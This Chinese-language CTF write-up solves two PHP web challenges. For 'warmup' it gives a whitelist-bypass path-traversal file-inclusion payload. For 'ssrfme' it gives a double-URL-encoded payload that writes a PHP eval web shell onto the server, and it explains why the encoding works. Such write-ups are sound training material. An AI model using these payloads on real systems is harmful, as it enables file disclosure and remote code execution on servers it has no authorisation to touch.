hctf_2018_warmup
查看网页源代码
<!DOCTYPE html> | |
<html lang="en"> | |
<head> | |
<meta charset="UTF-8"> | |
<meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
<meta http-equiv="X-UA-Compatible" content="ie=edge"> | |
<title>Document</title> | |
</head> | |
<body> | |
<!--source.php--> | |
<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body> | |
</html> |
可以发现有个source.php
访问 得到 题目源码 这里进行分析
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page) #声明函数 核对$page变量
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; #白名单 source.php 和 hint.php
if (! isset($page) || !is_string($page)) { #判断page参数是否有值 page是否为字符串
echo "you can't see it"; #如果page没有值 或者 page不是字符串 输出
return false;
}
if (in_array($page, $whitelist)) { #第一次检测 判断 page是否在白名单
return true;
}
$_page = mb_substr( #将page的值用? 作为分隔符 并取前面的值
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) { #判断取到的值是否在白名单 说明 值中有 hint.php?
return true;
}
$_page = urldecode($page); #对page的值解码
$_page = mb_substr( # 同样 用?作为分隔符 再取前面的值
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) { #判断取到的值是否在白名单
return true; #都满足情况下 退出函数
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file']) # 这里可以得出是通过file传参数
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file']) #这里说明先进行了文件核对 说明函数已经执行了
) {
include $_REQUEST['file']; #文件包含 很明显了
exit;
} else {
echo "<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" />";
}
?>
访问 hint.php 得到
flag not here, and flag in /flaaagg
告诉我们flaaagg的文件名
构造包含payload: ?file=hint.php?../../../../../flaaagg (../的个数可以自己实验)
即可得到 flag
构造 这个也行 ?file=source.php?../../../../../flaaagg 其实都只是对=后传入的参数进行了白名单验证 之后通过../../引起的包含 并未受到影响
ssrfme
假的ssrf 漏洞 这里是通过Php 函数 漏洞 构造出来的 可随意将恶意代码写入文件并上传 访问
由于 需要二次访问 所以 需要注意二次url编码 (极其恶心) 容易编码错误 可能代码没问题
进去后的源码并进行分析
<?php
if(isset($_GET) && !empty($_GET)){ #判断_GET是否声明 并判断里面的值非空
$url = $_GET['file']; #满足条件 将 值赋给url变量
$path = "upload/".$_GET['path']; #将path获取的值 赋给 path
}else{
show_source(__FILE__); #展示源文件
exit();
}
if(strpos($path,'..') > -1){ #在path值中匹配 . . 如果有. 就结束 并说 This is a wafi 防止 目录穿越 比如../
die('This is a waf!');
}
if(strpos($url,'http://127.0.0.1/') === 0){ #提示 url的值里必须有 http://127.0.0.1/
file_put_contents($path, file_get_contents($url)); #危险函数 file_get_contents 可以想到 php://input 等写入恶意代码执行的函数 或方法
echo "console.log($path update successed!)"; #上传成功后输出语句
}else{
echo "Hello.Geeker";
}
payload : ?path=hacker.php&file=http%3a%2f%2f127.0.0.1%2f%3fpath%3d%253C%253Fphp%2520eval%2528%2524_POST%255B1%255D%2529%253B%253F%253E%26file%3Dhttp%3a%2f%2f127.0.0.1%2findex.php
一是难理解 二是 url 编码总是出先 编码错误 改天我亲自做个ssrf url 编码器
通过Php层面理解 先?path=hacker.php 传进path变量 在file 构造编码了一次的代码 解码完 算访问了一次 并生成了hacker.php
第二次访问 使得页面跳转到 http:/127.0.0.1/?path=一句话木马 并在后面跟了个&file=http://127.0.0.1/ 不至于报错,通过这种跳转方式 实现了将path中的值写进 hacker.php
url编码 问题很大 容易出错
第二次编码只是在一句话上才有
原理 :有点类似http拆分攻击 第二次访问url时,path=<?php @eval($_POST[1]);?>
,会被echo输出,最后第二次访问返回的就是console.log(<?php @eval($_POST[1]);?> update successed!)
,最后就会写入到lemon.php中,那么形成了一句话木马了。
懂了 --》这样理解好 如果第一次解码代表一次访问 那么第一次访问起作用的其实是 ?path=hacker.php&file=http://127.0.0.1/index.php 既生成了hacker.php又符合file中有http://127.0.0.1
第二次解码 访问了(?path=hacker.php&file=http://127.0.0.1/(?path=一句话木马&file=http://127.0.0.1/)) 括号括起来的为条件满足了后面的条件 生成 了hacker.php 又在前面满足了条件生成了一句话 最终实现把一句话写进hacker.php
顺序清楚了 那么为什么只有 一句话 编码了2次 ?
假设所有只编码一次 那么 服务器应该不会清楚我们构造的顺序
相当于没括号执行 括号就是代表顺序
所以这里 外面括号 包住的 只用编码一次 先执行 也就是先生成了hacker.php
里面括号后执行 需要编码2次 而且 ssrf二次访问的是path 至于后面的file其实 只是个条件 path里面有url编码其实就是诱惑服务器再次进行解析 一旦解析了 就生成了一句话
感悟 : 服务器优先解析 已经url编码过的代码